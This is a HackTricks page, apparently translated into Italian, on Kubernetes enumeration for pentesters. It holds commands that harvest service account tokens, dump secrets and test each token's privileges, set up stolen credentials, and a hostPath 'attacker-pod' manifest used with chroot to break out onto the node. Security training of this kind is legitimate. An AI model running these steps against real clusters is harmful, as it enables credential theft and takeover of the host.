Kubernetes Enumeration

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Kubernetes Tokens

Se hai accesso compromesso a una macchina, l'utente potrebbe avere accesso a qualche piattaforma Kubernetes. Il token si trova solitamente in un file indicato dalla variabile d'ambiente KUBECONFIG o all'interno di ~/.kube.

In questa cartella potresti trovare file di configurazione con token e configurazioni per connettersi al server API. In questa cartella puoi anche trovare una cartella di cache con informazioni precedentemente recuperate.

Se hai compromesso un pod all'interno di un ambiente kubernetes, ci sono altri luoghi dove puoi trovare token e informazioni sull'attuale ambiente K8:

Service Account Tokens

Prima di continuare, se non sai cosa sia un servizio in Kubernetes, ti consiglio di seguire questo link e leggere almeno le informazioni sull'architettura di Kubernetes.

Preso dalla documentazione di Kubernetes:

“Quando crei un pod, se non specifichi un service account, viene automaticamente assegnato il service account predefinito nello stesso namespace.”

ServiceAccount è un oggetto gestito da Kubernetes e utilizzato per fornire un'identità per i processi che vengono eseguiti in un pod. Ogni service account ha un segreto ad esso correlato e questo segreto contiene un bearer token. Questo è un JSON Web Token (JWT), un metodo per rappresentare in modo sicuro le affermazioni tra due parti.

Di solito uno delle directory:

/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount

contiene i file:

ca.crt: È il certificato ca per controllare le comunicazioni kubernetes
namespace: Indica l'attuale namespace
token: Contiene il token di servizio dell'attuale pod.

Ora che hai il token, puoi trovare il server API all'interno della variabile d'ambiente KUBECONFIG. Per ulteriori informazioni esegui (env | set) | grep -i "kuber|kube"

Il token del service account è firmato dalla chiave presente nel file sa.key e convalidato da sa.pub.

Posizione predefinita su Kubernetes:

/etc/kubernetes/pki

Posizione predefinita su Minikube:

/var/lib/localkube/certs

Hot Pods

Hot pods sono pods che contengono un token di service account privilegiato. Un token di service account privilegiato è un token che ha il permesso di eseguire compiti privilegiati come elencare segreti, creare pod, ecc.

RBAC

Se non sai cosa sia RBAC, leggi questa sezione.

GUI Applications

k9s: Un'interfaccia grafica che enumera un cluster kubernetes dal terminale. Controlla i comandi in https://k9scli.io/topics/commands/. Scrivi :namespace e seleziona tutto per poi cercare risorse in tutti i namespace.
k8slens: Offre alcuni giorni di prova gratuiti: https://k8slens.dev/

Enumeration CheatSheet

Per enumerare un ambiente K8 hai bisogno di un paio di queste:

Un token di autenticazione valido. Nella sezione precedente abbiamo visto dove cercare un token utente e un token di service account.
L'indirizzo (https://host:port) dell'API Kubernetes. Questo può essere solitamente trovato nelle variabili d'ambiente e/o nel file di configurazione kube.
Opzionale: Il ca.crt per verificare il server API. Questo può essere trovato negli stessi luoghi in cui può essere trovato il token. Questo è utile per verificare il certificato del server API, ma utilizzando --insecure-skip-tls-verify con kubectl o -k con curl non avrai bisogno di questo.

Con questi dettagli puoi enumerare kubernetes. Se l'API per qualche motivo è accessibile attraverso l'Internet, puoi semplicemente scaricare quelle informazioni e enumerare la piattaforma dal tuo host.

Tuttavia, di solito il server API è all'interno di una rete interna, quindi dovrai creare un tunnel attraverso la macchina compromessa per accedervi dalla tua macchina, oppure puoi caricare il kubectl binario, o usare curl/wget/anything per eseguire richieste HTTP raw al server API.

Differences between `list` and `get` verbs

Con i permessi get puoi accedere alle informazioni di asset specifici (describe opzione in kubectl) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Se hai il permesso list, ti è consentito eseguire richieste API per elencare un tipo di risorsa (get opzione in kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Se hai il permesso watch, ti è consentito eseguire richieste API per monitorare le risorse:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Aprono una connessione streaming che ti restituisce il manifesto completo di un Deployment ogni volta che cambia (o quando ne viene creato uno nuovo).

I seguenti comandi kubectl indicano solo come elencare gli oggetti. Se vuoi accedere ai dati, devi usare describe invece di get

Usando curl

Dall'interno di un pod puoi usare diverse variabili d'ambiente:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Per impostazione predefinita, il pod può accedere al kube-api server nel nome di dominio kubernetes.default.svc e puoi vedere la rete kube in /etc/resolv.config poiché qui troverai l'indirizzo del server DNS di kubernetes (il ".1" della stessa gamma è l'endpoint kube-api).

Utilizzando kubectl

Avendo il token e l'indirizzo del server API, puoi utilizzare kubectl o curl per accedervi come indicato qui:

Per impostazione predefinita, l'APISERVER comunica con lo schema https://

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

se non c'è https:// nell'url, potresti ricevere un errore come Bad Request.

Puoi trovare un foglio di trucchi ufficiale di kubectl qui. L'obiettivo delle sezioni seguenti è presentare in modo ordinato diverse opzioni per enumerare e comprendere il nuovo K8s a cui hai ottenuto accesso.

Per trovare la richiesta HTTP che kubectl invia, puoi usare il parametro -v=8

MitM kubectl - Proxyfying kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Configurazione Attuale

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Se sei riuscito a rubare le credenziali di alcuni utenti, puoi configurarle localmente utilizzando qualcosa come:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Ottieni Risorse Supportate

Con queste informazioni saprai tutti i servizi che puoi elencare

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Ottieni i privilegi correnti

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"

Un altro modo per controllare i tuoi privilegi è utilizzare lo strumento: https://github.com/corneliusweig/rakkess****

Puoi saperne di più su Kubernetes RBAC in:

Kubernetes Role-Based Access Control(RBAC)

Una volta che sai quali privilegi hai, controlla la seguente pagina per capire se puoi abusarne per escalare i privilegi:

Abusing Roles/ClusterRoles in Kubernetes

Ottieni altri ruoli

k get roles
k get clusterroles

kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"

Ottieni i namespace

Kubernetes supporta più cluster virtuali supportati dallo stesso cluster fisico. Questi cluster virtuali sono chiamati namespace.

k get namespaces

kurl -k -v https://$APISERVER/api/v1/namespaces/

Ottieni segreti

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/

Se puoi leggere i segreti, puoi usare le seguenti righe per ottenere i privilegi relativi a ciascun token:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Ottieni gli Account di Servizio

Come discusso all'inizio di questa pagina quando un pod viene eseguito, di solito viene assegnato un account di servizio. Pertanto, elencare gli account di servizio, le loro autorizzazioni e dove vengono eseguiti può consentire a un utente di elevare i privilegi.

k get serviceaccounts

kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts

Ottieni i Deployment

I deployment specificano i componenti che devono essere eseguiti.

k get deployments
k get deployments -n custnamespace

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/

Ottieni Pods

I Pods sono i contenitori effettivi che verranno eseguiti.

k get pods
k get pods -n custnamespace

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

Ottieni Servizi

I servizi di Kubernetes vengono utilizzati per esporre un servizio su una porta e un IP specifici (che agiranno come bilanciatore di carico per i pod che offrono effettivamente il servizio). È interessante sapere dove puoi trovare altri servizi da provare ad attaccare.

k get services
k get services -n custnamespace

kurl -v https://$APISERVER/api/v1/namespaces/default/services/

Ottieni nodi

Ottieni tutti i nodi configurati all'interno del cluster.

k get nodes

kurl -v https://$APISERVER/api/v1/nodes/

Ottieni DaemonSets

DaeamonSets consente di garantire che un pod specifico sia in esecuzione in tutti i nodi del cluster (o in quelli selezionati). Se elimini il DaemonSet, i pod gestiti da esso verranno rimossi.

k get daemonsets

kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets

Ottieni cronjob

I cron job consentono di pianificare, utilizzando una sintassi simile a crontab, il lancio di un pod che eseguirà alcune azioni.

k get cronjobs

kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs

Ottieni configMap

configMap contiene sempre molte informazioni e file di configurazione che forniscono alle app che girano in Kubernetes. Di solito puoi trovare molte password, segreti, token utilizzati per connettersi e convalidare altri servizi interni/esterni.

k get configmaps # -n namespace

kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps

Ottieni Politiche di Rete / Politiche di Rete Cilium

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

Ottieni tutto / Tutto

k get all

Ottieni tutte le risorse gestite da helm

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

Ottieni i consumi dei Pod

k top pod --all-namespaces

Uscire dal pod

Se sei in grado di creare nuovi pod, potresti essere in grado di uscire da essi verso il nodo. Per farlo, devi creare un nuovo pod utilizzando un file yaml, passare al pod creato e poi chroot nel sistema del nodo. Puoi utilizzare pod già esistenti come riferimento per il file yaml poiché mostrano immagini e percorsi esistenti.

kubectl get pod <name> [-n <namespace>] -o yaml

se hai bisogno di creare un pod su un nodo specifico, puoi usare il seguente comando per ottenere le etichette sul nodo
k get nodes --show-labels
Comunemente, kubernetes.io/hostname e node-role.kubernetes.io/master sono tutte buone etichette per la selezione.

Poi crei il tuo file attack.yaml

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

original yaml source

Dopo di che crei il pod

kubectl apply -f attacker.yaml [-n <namespace>]

Ora puoi passare al pod creato come segue

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

E infine ti chroot nel sistema del nodo

chroot /root /bin/bash

Informazioni ottenute da: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1

Riferimenti

Kubernetes Pentest Methodology Part 3CyberArk

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Controlla i piani di abbonamento!
Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.

PreviousAttacking Kubernetes from inside a Pod NextKubernetes Role-Based Access Control(RBAC)

Last updated 3 days ago